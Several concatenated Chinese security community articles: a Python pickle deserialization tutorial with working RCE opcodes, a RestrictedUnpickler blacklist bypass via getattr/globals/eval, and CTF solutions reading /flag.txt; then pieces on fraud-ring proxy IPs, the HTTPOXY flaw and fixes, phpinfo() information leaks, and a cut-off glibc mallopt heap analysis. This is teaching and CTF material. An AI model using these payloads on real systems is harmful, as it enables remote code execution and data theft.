当栈中存在`__setstate__`时 会执行setstate(state) 也就是 这里我们如果自己写一个`__setstate__`类
构造os.system 和 whoami即可执行命令
s字符的源码 是将
c__main__\ntest\n)\x81}X\x0c\x00\x00\x00__setstate__cos\nsystem\nsbX\x06\x00\x00\x00whoamib.
首先 搞了主函数和类 `__main__`和test 随后 插入空元组和空字典 然后写入`__setstate__` c再向后读 得到os.system
字符s将第一个元素和第二个元素作为键值对 插入到第三个元素之中`{__main__.test:()},__setstate__,os.system`
b字符使第一个元素出栈 也就是`{'__setstate__':os.system}` 执行一次 setstate(state)
随后插入whoami然后弹出 执行os.system(whoami)
#### 全局引用
import secret
class Target:
def __init__(self):
obj = pickle.loads(ser) # 输入点
if obj.pwd == secret.pwd:
print("Hello, admin!")
在这里 我们如果要绕过此处的if判断的话 我们需要如何构造呢
我们尝试构造
import pickle
import os
import pickletools
class secret:
pwd='123'
class Target:
def __init__(self):
self.pwd=secret.pwd
test = Target()
serialized = pickletools.optimize(pickle.dumps(test, protocol=0))
print(serialized)
b'ccopy_reg\n_reconstructor\n(c__main__\nTarget\nc__builtin__\nobject\nNtR(dVpwd\nV123\nsb.'
在这里 我们的target刚被实例化之后 pwd就被赋值了 但其实 并不知道secret中的pwd是什么
那么我们这里就需要用到 全局引用了 在opcode中是c `pickle.Unpickler().find_class(module, name)`
就是导入module模块 并返回其中叫name的对象 我们尝试在原有的opcode上进行修改
在上面123的地方修改 \n是换行
b'ccopy_reg\n_reconstructor\n(c__main__\nTarget\nc__builtin__\nobject\nNtR(dVpwd\ncsecret\npwd\nsb.'
#### 引入魔术方法
我们随便生成一个rce的payload
cposix\nsystem\n(Vwhoami\ntR.
如果R被过滤掉了 我们需要用什么来代替呢
opcode中 b的 作用是 使用栈中的第一个元素（储存多个属性名-属性值 的字典）对第二个元素（对象实例）进行属性或者方法的设置 可以设置实例的方法 那么
我们能不能设置一个方法让其在反序列化中自动运行 我们可以使用`__setstate__()`
当解封时，如果类定义了 `__setstate__()`，就会在已解封状态下调用它。此时不要求实例的 state 对象必须是
dict。没有定义此方法的话，先前封存的 state 对象必须是 dict，且该 dict 内容会在解封时赋给新实例的 `__dict__`
如果 `__getstate__()` 返回 `False`，那么在解封时就不会调用 `__setstate__()` 方法。
所以可以这么理解，pickle 时，Python 会封存该实例的 `__getstate__` 方法返回给它的值；unpickle 时，Python 将
unpickle 后的值作为参数传递给实例的 `_setstate_()` 方法。而在 `_setstate_()`
方法内部，是按照事先自定义好的流程来重建实例。
### Pker工具
这是一个 可以遍历Python AST的形式 来自动化解析 pickle opcode的工具
#### Pker可以做到什么
* 变量赋值：存到memo中，保存memo下标和变量名即可
* 函数调用
* 类型字面量构造
* list和dict成员修改
* 对象成员变量修改
#### 使用方法与实例
pker最主要的有三个函数`GLOBAL()`、`INST()`和`OBJ()`
GLOBAL('os', 'system') => cos\nsystem\n
INST('os', 'system', 'ls') => (S'ls'\nios\nsystem\n
OBJ(GLOBAL('os', 'system'), 'ls') => (cos\nsystem\nS'ls'\no
return可以返回一个对象
return => .
return var => g_\n.
return 1 => I1\n.
当然你也可以和Python的正常语法结合起来，下面是使用示例
#pker_test.py
i = 0
s = 'id'
lst = [i]
tpl = (0,)
dct = {tpl: 0}
system = GLOBAL('os', 'system')
system(s)
return
#命令行下
$ python3 pker.py < pker_tests.py
b"I0\np0\n0S'id'\np1\n0(g0\nlp2\n0(I0\ntp3\n0(g3\nI0\ndp4\n0cos\nsystem\np5\n0g5\n(g1\ntR."
自动解析并生成了我们所需的opcode。
### 防御与限制
关于这个漏洞 其实 在官方的文档中 就有介绍 不要unpickle来自于不受信任 或 未经验证的来源的数据 我们在这里再介绍一种方法
通过重写`Unpickler.find_class()` 来限制全局变量
import builtins
import io
import pickle
safe_builtins = {
'range',
'complex',
'set',
'frozenset',
'slice',
}
class RestrictedUnpickler(pickle.Unpickler):
#重写了find_class方法
def find_class(self, module, name):
# Only allow safe classes from builtins.
if module == "builtins" and name in safe_builtins:
return getattr(builtins, name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
(module, name))
def restricted_loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()
opcode=b"cos\nsystem\n(S'echo hello world'\ntR."
restricted_loads(opcode)
###结果如下
Traceback (most recent call last):
...
_pickle.UnpicklingError: global 'os.system' is forbidden
此处通过重写该方法 限制调用模块只能为builtins 而且 函数必须在白名单中 否则抛出异常 这种方式 限制了调用的模块函数 都在白名单内
就保证了unpickle的安全性
### 绕过RestrictedUnpickler限制
想要绕过find_class 我们就需要了解其 何时被调用
> 出于这样的理由，你可能会希望通过定制 Unpickler.find_class() 来控制要解封的对象。 与其名称所提示的不同，
> Unpickler.find_class() 会在执行对任何全局对象（例如一个类或一个函数）的请求时被调用 。
> 因此可以完全禁止全局对象或是将它们限制在一个安全的子集中。
1. 在opcode中 `c` `i` `\x93` 这三个字节码与全局对象有关 当出现这三个字节码的时候 会调用`find_class` 当我们使用这三个字节码时不违反其限制即可
2. find_class() 只会在解析opcode的时候调用一次 所以 只要绕过opcode执行的过程 find_class() 就不会再调用 只需要过一次 通过之后再产生的函数即使在黑名单中 也不会被拦截
#### 绕过builtins
在一些栗子中 我们常常会见到`module=="builtins" `这一限制
if module == "builtins" and name in safe_builtins:
return getattr(builtins, name)
buiitins模块 在我们学习ssti的时候 也会经常见到 他就是 当我们启动python之后 即使没有创建任何的变量或者 函数 还是会有很多函数可以调用
即内置函数 内置函数 都是包含在builtins模块内的
eg.import pickle
import io
import builtins
class RestrictedUnpickler(pickle.Unpickler):
blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
def find_class(self, module, name):
# Only allow safe classes from builtins.
if module == "builtins" and name not in self.blacklist:
return getattr(builtins, name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
(module, name))
def restricted_loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()
以上的代码 限制了我们所使用的模块只能是builtins 而且 不能使用黑名单中的函数
##### 思路一
我们可以借鉴python沙箱逃逸的思路 来获取我们想要的函数 以上的代码并没有禁用`getattr()` 此函数 可以获取对象的属性值 因此 我们可以通过
builtins.getattr(builtins.'eval') 来获取eval函数
接下来 我们得构造一个`builtins`模块 来传给getattr的第一个参数 我们可以使用 `builtins.global()`函数
来获取`builtins`模块包含的内容
import builtins
print(builtins.globals())
#{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'builtins': <module 'builtins' (built-in)>}
从中我们可以看出 在builtins模块中 仍然包含builtins模块 因为上面 返回的是一个字典 所以 我们还需要获取get函数
所以我们最终构造的payload就是`builtins.getattr(builtins.getattr(builtins.dict,'get')(builtins.globals(),'builtins'),'eval')(command)`
import pickle
import pickletools
opcode = b'''cbuiltins
getattr
(cbuiltins
dict
S'get'
tR.
'''
pickletools.dis(opcode )
print (pickle.loads(opcode))
然后 获取globals() 字典
import pickle
import pickletools
opcode = b'''cbuiltins
globals
)R.
'''
pickletools.dis(opcode)
print (pickle.loads(opcode))
0: c GLOBAL 'builtins globals'
18: ) EMPTY_TUPLE
19: R REDUCE
20: . STOP
highest protocol among opcodes = 1
{'__name__': '__main__', '__doc__': None, '__package__': '', '__loader__': None, '__spec__': None, '__file__': 'c:\\Users\\zyc\\Downloads\\main.py', '__cached__': None, '__builtins__': {'__name__': 'builtins', '__doc__': "Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices.", '__package__': '', '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': ModuleSpec(name='builtins', loader=<class '_frozen_importlib.BuiltinImporter'>, origin='built-in'), '__build_class__': <built-in function __build_class__>, '__import__': <built-in function __import__>, 'abs': <built-in function abs>, 'all': <built-in function all>, 'any': <built-in function any>, 'ascii': <built-in function ascii>, 'bin': <built-in function bin>, 'breakpoint': <built-in function breakpoint>, 'callable': <built-in function callable>, 'chr': <built-in function chr>, 'compile': <built-in function compile>, 'delattr': <built-in function delattr>, 'dir': <built-in function dir>, 'divmod': <built-in function divmod>, 'eval': <built-in function eval>, 'exec': <built-in function exec>, 'format': <built-in function format>, 'getattr': <built-in function getattr>, 'globals': <built-in function globals>, 'hasattr': <built-in function hasattr>, 'hash': <built-in function hash>, 'hex': <built-in function hex>, 'id': <built-in function id>, 'input': <built-in function input>, 'isinstance': <built-in function isinstance>, 'issubclass': <built-in function issubclass>, 'iter': <built-in function iter>, 'aiter': <built-in function aiter>, 'len': <built-in function len>, 'locals': <built-in function locals>, 'max': <built-in function max>, 'min': <built-in function min>, 'next': <built-in function next>, 'anext': <built-in function anext>, 'oct': <built-in function oct>, 'ord': <built-in function ord>, 'pow': <built-in function pow>, 'print': <built-in function print>, 'repr': <built-in function repr>, 'round': <built-in function round>, 'setattr': <built-in function setattr>, 'sorted': <built-in function sorted>, 'sum': <built-in function sum>, 'vars': <built-in function vars>, 'None': None, 'Ellipsis': Ellipsis, 'NotImplemented': NotImplemented, 'False': False, 'True': True, 'bool': <class 'bool'>, 'memoryview': <class 'memoryview'>, 'bytearray': <class 'bytearray'>, 'bytes': <class 'bytes'>, 'classmethod': <class 'classmethod'>, 'complex': <class 'complex'>, 'dict': <class 'dict'>, 'enumerate': <class 'enumerate'>, 'filter': <class 'filter'>, 'float': <class 'float'>, 'frozenset': <class 'frozenset'>, 'property': <class 'property'>, 'int': <class 'int'>, 'list': <class 'list'>, 'map': <class 'map'>, 'object': <class 'object'>, 'range': <class 'range'>, 'reversed': <class 'reversed'>, 'set': <class 'set'>, 'slice': <class 'slice'>, 'staticmethod': <class 'staticmethod'>, 'str': <class 'str'>, 'super': <class 'super'>, 'tuple': <class 'tuple'>, 'type': <class 'type'>, 'zip': <class 'zip'>, '__debug__':
True, 'BaseException': <class 'BaseException'>, 'Exception': <class 'Exception'>, 'TypeError': <class 'TypeError'>, 'StopAsyncIteration': <class 'StopAsyncIteration'>, 'StopIteration': <class 'StopIteration'>, 'GeneratorExit': <class 'GeneratorExit'>, 'SystemExit': <class 'SystemExit'>, 'KeyboardInterrupt': <class 'KeyboardInterrupt'>, 'ImportError': <class 'ImportError'>, 'ModuleNotFoundError': <class 'ModuleNotFoundError'>, 'OSError': <class 'OSError'>,
'EnvironmentError': <class 'OSError'>, 'IOError': <class 'OSError'>, 'WindowsError': <class 'OSError'>, 'EOFError': <class 'EOFError'>, 'RuntimeError': <class 'RuntimeError'>, 'RecursionError': <class 'RecursionError'>, 'NotImplementedError': <class 'NotImplementedError'>, 'NameError': <class 'NameError'>, 'UnboundLocalError': <class 'UnboundLocalError'>, 'AttributeError': <class 'AttributeError'>, 'SyntaxError': <class 'SyntaxError'>, 'IndentationError':
<class 'IndentationError'>, 'TabError': <class 'TabError'>, 'LookupError': <class 'LookupError'>, 'IndexError': <class 'IndexError'>, 'KeyError': <class 'KeyError'>, 'ValueError': <class 'ValueError'>, 'UnicodeError': <class 'UnicodeError'>, 'UnicodeEncodeError': <class 'UnicodeEncodeError'>, 'UnicodeDecodeError': <class 'UnicodeDecodeError'>, 'UnicodeTranslateError': <class 'UnicodeTranslateError'>, 'AssertionError': <class 'AssertionError'>, 'ArithmeticError': <class 'ArithmeticError'>, 'FloatingPointError': <class 'FloatingPointError'>, 'OverflowError': <class 'OverflowError'>, 'ZeroDivisionError': <class 'ZeroDivisionError'>, 'SystemError': <class 'SystemError'>, 'ReferenceError': <class 'ReferenceError'>, 'MemoryError': <class 'MemoryError'>, 'BufferError': <class 'BufferError'>, 'Warning': <class 'Warning'>, 'UserWarning': <class 'UserWarning'>, 'EncodingWarning': <class 'EncodingWarning'>, 'DeprecationWarning': <class 'DeprecationWarning'>, 'PendingDeprecationWarning': <class 'PendingDeprecationWarning'>, 'SyntaxWarning': <class 'SyntaxWarning'>, 'RuntimeWarning': <class 'RuntimeWarning'>, 'FutureWarning': <class 'FutureWarning'>, 'ImportWarning': <class 'ImportWarning'>, 'UnicodeWarning': <class 'UnicodeWarning'>, 'BytesWarning': <class 'BytesWarning'>, 'ResourceWarning': <class 'ResourceWarning'>, 'ConnectionError': <class 'ConnectionError'>, 'BlockingIOError': <class 'BlockingIOError'>, 'BrokenPipeError': <class 'BrokenPipeError'>, 'ChildProcessError': <class 'ChildProcessError'>, 'ConnectionAbortedError': <class 'ConnectionAbortedError'>, 'ConnectionRefusedError': <class 'ConnectionRefusedError'>, 'ConnectionResetError': <class 'ConnectionResetError'>, 'FileExistsError': <class 'FileExistsError'>, 'FileNotFoundError': <class 'FileNotFoundError'>, 'IsADirectoryError': <class 'IsADirectoryError'>, 'NotADirectoryError': <class 'NotADirectoryError'>, 'InterruptedError': <class 'InterruptedError'>, 'PermissionError': <class 'PermissionError'>, 'ProcessLookupError': <class 'ProcessLookupError'>, 'TimeoutError': <class 'TimeoutError'>, 'open': <built-in function open>,....
我们现在有了字典 又有了get函数 我们就可以从builtins模块中任意获取了
import pickle
import pickletools
opcode = b'''cbuiltins
getattr
(builtins
dict
S'get'
tR(cbuiltins
globals
)RS'__builtins__'
tR.'''
pickletools.dis(opcode)
print(pickle.loads(opcode))
'''
0: c GLOBAL 'builtins getattr'
18: ( MARK
19: c GLOBAL 'builtins dict'
34: S STRING 'get'
41: t TUPLE (MARK at 18)
42: R REDUCE
43: ( MARK
44: c GLOBAL 'builtins globals'
62: ) EMPTY_TUPLE
63: R REDUCE
64: S STRING '__builtins__'
80: t TUPLE (MARK at 43)
81: R REDUCE
82: . STOP
highest protocol among opcodes = 1
<module 'builtins' (built-in)>
'''
调用builtins中的eval函数
import pickle
opcode4=b'''cbuiltins
getattr
(cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
)RS'__builtins__'
tRS'eval'
tR.'''
print(pickle.loads(opcode4))
#<built-in function eval>
最终 我们构造命令执行
import pickle
import io
import builtins
class RestrictedUnpickler(pickle.Unpickler):
blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
def find_class(self, module, name):
# Only allow safe classes from builtins.
if module == "builtins" and name not in self.blacklist:
return getattr(builtins, name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
(module, name))
def restricted_loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()
opcode=b'''cbuiltins
getattr
(cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
)RS'__builtins__'
tRS'eval'
tR(S'__import__("os").system("whoami")'
tR.
'''
restricted_loads(opcode)
#可以成功执行whoami
以上的payload仅是一种方法 当我们想要绕过`find_class` 我们 可以先构造处沙箱逃逸的payload 然后
再根据payload构造opcode
当然 我们也可以用上面的pker来辅助我们生成opcode
##### 思路二
在思路一种 我们通过了getattr(builtins,'eval') 来获取到了内置函数 eval getattr的第一个参数 builtins模块
是通过获取globals种的全局变量来获得的 也就是说 globals() 函数中有python中提前设置好的全局变量 包括我们import的各种模块 那么
我们是否 可以通过globals函数 来获取到pickle模块捏 在引入之后 可以看到在全局变量中 存在pickle模块
可以看到，`globals()`函数中的全局变量，确实包含我们导入的官方或自定义的模块，那么我们就可以尝试导入使用`pickle.loads()`来绕过`find_class()`了。
不过值得注意的是，由于`pickle.loads()`的参数需要为`byte`类型。而在`Protocol
0`中，对于byte类型并没有很好的支持，需要额外导入encode()函数，可能会导致无法绕过`find_class`限制。
在第三版本之后 才引入了B和C字节码来操作byte类型
### 关键词绕过
#### V
就是使用unicode编码
c__main__
secret
(V\u006bey #key
S'asd'
db.
#### 十六进制
c__main__
secret
(S'\x6bey' #key
S'asd'
db.
#### 内置模块获取关键字
使用sys.modules[xxx]可以获取其全部属性 我们可以使用reversed将列表反序 然后使用next()指向关键词 从而输出
print(next(reversed(dir(sys.modules['secret']))))
我们将上面的代码使用opcode表示一下
(((c__main__
secret
i__builtins__
dir
i__builtins__
reversed
i__builtins__
next
.
### 题目
#### code-breaking2018 picklecode
上面在builtins讲的例子就是来源于这里 重新打一下
import pickle
import io
import builtins
__all__ = ('PickleSerializer', )
class RestrictedUnpickler(pickle.Unpickler):
blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
def find_class(self, module, name):
# Only allow safe classes from builtins.
if module == "builtins" and name not in self.blacklist:
return getattr(builtins, name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
(module, name))
class PickleSerializer():
def dumps(self, obj):
return pickle.dumps(obj)
def loads(self, data):
try:
if isinstance(data, str):
raise TypeError("Can't load pickle from unicode string")
file = io.BytesIO(data)
return RestrictedUnpickler(file,
encoding='ASCII', errors='strict').load()
except Exception as e:
return {}
只能从builtins中取且不能有上面的blacklist中的函数
那么 我们需要从其自带的builtins中 获取出我们的 命令执行函数
众所周知builtins中的getattr函数 可以获取属性
那么 我们尝试使用这个去获取一下eval呢
可以获取到构建好的eval 然后 我们需要获取到这个builtins的一级模块 我们直接使用pickle是获取不到的 我们看一下他的globals
其中是有builtins的 我们需要将其取出来
构造一个get
获取到get方法
然后这个绕过就串起来了
通过get获取builtins模块 获取builtins模块中的eval 从而进行命令执行
`builtins.getattr(builtins.getattr(builtins.dict,"get")(builtins.globals(),"builtins"),'eval')("__import__('os').system('whoami')")`
我们将其转换成opcode 如下
cbuiltins
getattr
p0
(cbuiltins
dict
S'get'
tRp1
cbuiltins
globals
)Rp2
00g1
(g2
S'builtins'
tRp3
0g0
(g3
S'eval'
tR(S'__import__("os").system("whoami")'
tR.
成功绕过
同时也能执行命令
#### [CISCN 2019华北Day1]Web2
进入环境 需要寻找购买lv6
import requests
url = "http://ip/shop?page="
for i in range (1,200):
r = requests.get(url+str(i))
if r.text.find('lv6.png') != -1:
print(i)
break
找到在181页
进入购买
购买需要admin权限 我们在cookie中发现jwt 解密发现user为asd
爆破密钥为1Kun 将user加密为admin
购买时将折扣值调为很小的值
发现源码
在admin中存在反序列化漏洞 会将结果渲染出来
import pickle
import commands
import urllib
class poc(object):
def __reduce__(self):
return (commands.getoutput,('ls /',))
a=poc()
print(urllib.quote(pickle.dumps(a)))
import pickle
import urllib
class poc(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))
a=poc()
print(urllib.quote(pickle.dumps(a)))
### 参考文章
<https://goodapple.top/archives/1069>
<https://xz.aliyun.com/t/7436>
<https://tttang.com/archive/1782> | 社区文章 |
# 曝光！黑灰产掘金帝国的“地基”，窥探暗象丛生的网络世界
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
**有市场，有需求，就意味着机会丛生。**
说到“IP“属性的应用场景，其实早已渗透到我们的生活当中。比如：
_一个手机号码，只能在平台注册一个账号_
_网上投票，一个ID只能投一票_
_线上福利抽奖活动规则一般会注明“每个用户ID仅限参与一次”_
这里的ID的“唯一性”就是平台或者活动方为了保证活动公平性及自身利益，做出的限制，因为在我们看不到的网络世界，薅羊毛、诈骗、群控、挂机、游戏代练、撞库晒密、刷量等等黑灰产行为时刻发生着，这些行为从悄然滋生到发展为成熟的产业链，始终绕不开最底层的支撑——
**IP资源** 。
360手机卫士通过长期对诈骗案件的溯源分析，发现目前代理IP已成为其伪装身份的必备工具。早期主要通过固网IP进行IP切换，并衍生出专门售卖IP代理资源的各类“VPN”，但由于IP资源的有限性，其开始采用秒拨方式的方式“恶意”获取运营商IP资源。
## 固网秒拨
通过自建机房或民用宽带，向外提供代理IP。
## 移动IP秒拨
随着攻防对抗的升级，⿊产将视线转移到更为隐蔽的基站IP上，从已掌握的情报来看，其使用方式有4种：
**手机热点、USB上网卡、IP魔盒、移动IP代理软件。**
**USB上网卡**
即便携式网络热点，插入手机卡，供电后即可共享网络。这些USB上网卡使用的流量业务，主要是一些第三方公司在运营，其向运营商采买流量后，分包卖给上网卡用户。
**IP魔盒**
⼀款硬件盒⼦，USB接⼊后，可以使普通PC拥有基站IP。它主板设计简单，使用⽅便，不仅只兼容国内电信，移动，联通三⽹通的sim卡，也支持海外sim卡。
它通过自研芯片模块组的USB接⼝与个⼈主机连接，让PC可以实现4G上⽹。接着下载模拟开关飞⾏模式的脚本和安装相应驱动后，即可进⾏切换IP。这种情况下，使用的是移动网络的IP进行代理。
**USB上网卡、IP魔盒本质上是同一类产品，两者都可以通过断网再联网实现切换IP，只是IP魔盒增加了自动化秒拨的功能。**
**移动IP代理APP**
除了利用硬件产品实现移动网络秒拨外，目前一些代理软件也提供移动网络IP，相对于境内较多的固网IP代理，国外在移动网络IP产业上已较为成熟，已包装成商业化产品。
这里以移动代理IP软件“手*IP”为例，按照流量购买该软件后，可使用其提供的基站IP代理，通过安装此类应用的手机设备来看，多为诈骗及灰产人员（羊毛党）
## “秒拨”的两个天然优势
**IP池巨⼤：** 假设某IP代理运营人员掌控的宽带资源属于某地运营商，理论上，其秒拨的资源池相当于该地运营商的IP池，数量十分巨大。
**秒拨IP存在误判：**
由于秒拨IP随机抽取，当该IP被秒拨团伙弃用，短时间内流转至正常用户手中时，平台若因为前者的羊毛行为，封禁IP时，会影响正常用户的账户使用。
利用秒拨IP，黑产分子能实现快速变换IP或指定IP归属地，绕过时间、地域、次数的限制，可直接绕过平台IP风控，
**这种成本低、隐蔽性高的秒拨IP，逐渐成为代理IP的未来趋势。** | 社区文章 |
### 0x00 前言
7月18日，一个名为 HTTPOXY 的漏洞在安全圈内广泛传播。云盾攻防对抗团队第一时间对此漏洞进行了深入分析，发现其本质是一个 CGI
环境变量劫持漏洞，对 CGI 的环境变量 HTTP_PROXY 变量进行劫持。如果 CGI 在运行过程中依赖
HTTP_PROXY，那么攻击者将能够获取到程序敏感数据，甚至伪造返回包对 CGI 程序实现欺骗。
### 0x01 漏洞分析
这个漏洞实际上 CGI 程序对变量命名不规范导致的。CGI 程序在接收到 HTTP Header 后，会把部分 Header 的信息存入以 HTTP_
开头的变量中。Header 中要是出现了 Proxy 头，那么 Proxy 头中的信息会存放在 HTTP_PROXY 的变量中。巧合的是，CGI
程序环境变量中本身就定义了一个 HTTP_PROXY 变量，作用是为 CGI 程序设置代理。因此，如果我们在请求中带上了 Proxy 头，那么
HTTP_PROXY 变量将会被我们发送的内容覆盖，实现 HTTP_PROXY 变量劫持。需要注意的是，覆盖的变量只对当次请求有效，不会对全局的
HTTP_PROXY 变量造成影响。
我们在 x.x.27.216 上用 nc 监听 23333 端口，然后向受害网站 x.x.25.84 发送的请求中加入 Proxy 头
"x.x.27.216:23333"。如下图所示，受害网站在向 restapi.amap.com
请求数据，而这个请求被我们的机器截获到了，漏洞利用成功。同时，这个请求将网站在 restapi.amap.com 使用的 KEY
暴露出来了，造成敏感信息泄漏。
[
这里分享一下我们想到的两个利用场景：
1、CGI 程序与其它网站通信时，需要 CGI 程序带上某些身份信息的，如 AccessToken、gsid、key
等，那么这些敏感信息将会被非法的代理服务器接收到，造成敏感信息泄漏。
2、对于电商类网站，若通过设置 Proxy
头能截获到它向支付网关发送的请求，那么就可以篡改这个请求的返回包，如“将支付失败改为支付成功”，对原网站进行欺骗。
### 0x02 影响范围
理论上这个漏洞影响所有以 CGI 方式运行的程序。但漏洞利用受到以下限制：
1、CGI 程序不会对外发送请求；
2、CGI 程序不依赖 HTTP_PROXY 变量；
3、CGI 程序与外部使用非 HTTP 协议（如 HTTPS）进行通信。
如果符合上述其中一种情况，漏洞将无法利用。我们认为，此漏洞的危害程度没有外界宣传的那么高。
### 0x03 修复方案
Proxy 并非一个规范的 HTTP Header，因此我们没必要去处理 HTTP 请求中 Proxy 头的内容。 由于每个应用的修复方案不一样，下面以
Nginx 和 Apache 进行举例：
Nginx：在调用 FastCGI 的地方将 HTTP_PROXY 置为空。
fastcgi_param HTTP_PROXY "";
Apache：借助 mod_headers 模块将 Proxy 头置为失效。
RequestHeader unset Proxy early
其它应用的修复方案请参考应用官方公告或 0x04 中的参考资料。
### 0x04 参考资料
0: <https://httpoxy.org/>
1: <http://www.iana.org/assignments/message-headers/message-headers.xhtml>
2: <https://access.redhat.com/security/vulnerabilities/httpoxy> | 社区文章 |
phpinfo()想必的最熟悉的了，在搭建环境之后都会随后写一个phpinfo()来测试环境是否正常，很多人测试完毕忘记删除就开始部署环境了，这就造成了一些敏感信息的泄漏。那么我们能从phpinfo()中获得哪些敏感信息呢？php版本这种就不用说了，来看一下泄漏了哪些比较敏感的信息。
一、绝对路径(_SERVER[“SCRIPT_FILENAME”])
这个是最常用，也是最有效的一个办法，找到phpinfo()页面可以直接找到网站的绝对路径，对于写shell和信息搜集是必不可少的。
二、支持的程序
可以通过phpinfo()查看一些特殊的程序服务，比如redis、memcache、mysql、SMTP、curl等等如果服务器装了redis或者memcache可以通过ssrf来getshell了，在discuz中都出现过此类问题。如果确定装了redis或memcache的话，在没有思路的情况下，可以着重找一下ssrf
三、泄漏真实ip（_SERVER[“SERVER_ADDR”]或SERVER_ADDR）
有时候通过phpinfo()泄漏的ip可以查查旁站、c段什么的，直接无视cdn，百事不灵。
四、GOPHER
也算是ssrf一部分吧，或者说主要靠ssrf利用起来，如果支持gopher，ssrf便没有压力咯
五、fastcgi
查看是否开启fastcgi和fastcgi的版本，可能导致解析漏洞、远程命令执行、任意文件读取等问题
六、泄漏缓存文件地址（_FILES[“file1”]）
向phpinfo（） post一个shell可以在_FILES[“file1”]中看到上传的临时文件，如果有个lfi，便可以直接getshell了。
七、一些敏感配置
allow_url_include、allow_url_fopen、disable_functions、open_basedir、short_open_tag等等
比如allow_url_include可用来远程文件包含、disable_functions用来查看禁用函数，绕过执行、查看是否开启open_basedir，用p牛的绕过open_basedir的方法有可能能读一些没权限的目录等等。
此外还能获取一些环境信息，比如Environment中的path、log等
暂时只想了这么多，欢迎留言补充，一定及时更新。 | 社区文章 |
# glibc2.23下mallopt漏洞的源码分析与例题
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 源码分析
### mallopt函数
* 读写global_max_fast的宏
#define set_max_fast(s) \
global_max_fast = (((s) == 0) \
? SMALLBIN_WIDTH \
: ((s + SIZE_SZ) & ~MALLOC_ALIGN_MASK))
#define get_max_fast() global_max_fast
正常的向上关于2*SIZE对齐操作为：`(s + MALLOC_ALIGN_MASK) &~MALLOC_ALIGN_MASK`
然而这里加的是SIZE_SZ，64位下即为：
global_max_fast = (s + 0x8) & ~0xF
那么只要s保证除低3bit外全为0，比如s=0x7，那么global_max_fast就等于0
由于ptmalloc在一些地方`根据global_max_fast是否为0来判断main_arena是否已经初始化`，因此这里会产生重新初始化漏洞
触发重新初始化的逻辑位于`malloc_consolidate()`函数中，而触发 `malloc_consolidate()`函数方式有两种
1. 进行mallopt()操作
2. 申请一个size属于LargeBin的chunk，触发fastbin整理
### malloc_consolidate函数
static void malloc_consolidate(mstate av)
{
mfastbinptr *fb; /* current fastbin being consolidated */
mfastbinptr *maxfb; /* last fastbin (for loop control) */
mchunkptr p; /* current chunk being consolidated */
mchunkptr nextp; /* next chunk to consolidate */
mchunkptr unsorted_bin; /* bin header */
mchunkptr first_unsorted; /* chunk to link to */
/* These have same use as in free() */
mchunkptr nextchunk;
INTERNAL_SIZE_T size;
INTERNAL_SIZE_T nextsize;
INTERNAL_SIZE_T prevsize;
int nextinuse;
mchunkptr bck;
mchunkptr fwd;
/*
If max_fast is 0, we know that av hasn't
yet been initialized, in which case do so below
*/
if (get_max_fast() != 0) //漏洞
{
//遍历所有fastbin链表，从中取出chunk，尝试相邻合并后放入UB中
}
else //如果global_max_fast为0就触发初始化操作
{
malloc_init_state(av); //对main_arena进行初始化
check_malloc_state(av);
}
}
### malloc_init_state函数
#define unsorted_chunks(M) (bin_at(M, 1)) //bin_at宏是从1开始算的，因此UB头实际用的是av->bins[0]与av->bins[1]
#define initial_top(M) (unsorted_chunks(M))
static void malloc_init_state(mstate av) //初始化malloc_state结构体
{
int i;
mbinptr bin;
/* 每个bin都是双向循环链表，默认的空链为自己指向自己*/
for (i = 1; i < NBINS; ++i)
{
bin = bin_at(av, i);
bin->fd = bin->bk = bin;
}
//非主分配区用不了heap段，所以不保证分配到的内存是连续的
//主分配区默认初始化为0，所以是有连续标记的
#if MORECORE_CONTIGUOUS
if (av != &main_arena)
#endif
set_noncontiguous(av);
if (av == &main_arena) //如果初始化的是主分配区，就设置global_max_fast
set_max_fast(DEFAULT_MXFAST);
av->flags |= FASTCHUNKS_BIT;
av->top = initial_top(av); //初始化top chunk为unsorted bin 头
}
* malloc_state结构体
struct malloc_state
{
/* Serialize access. 用于串行化访问分配区的互斥锁*/
mutex_t mutex;
/* Flags (formerly in max_fast). */
int flags;
/* Fastbins */
mfastbinptr fastbinsY[NFASTBINS];
/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;
/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;
/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2];
/* Bitmap of bins 标记bin中有没有空闲chunk的位图*/
unsigned int binmap[BINMAPSIZE];
/* Linked list 把分配区链接在单向链表中*/
struct malloc_state *next;
/* Linked list for free arenas. Access to this field is serialized
by free_list_lock in arena.c. */
struct malloc_state *next_free;
/* Number of threads attached to this arena. 0 if the arena is on
the free list. Access to this field is serialized by
free_list_lock in arena.c. */
INTERNAL_SIZE_T attached_threads;
/* Memory allocated from the system in this arena. */
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
};
这里的关键是`av->top = initial_top(av);`宏展开后这一句就相当于 `av->top = (&av->bins[0]) -0x10`
* 正常情况
由于main_arena属于libc的.bss段，因此可以认为是0初始化
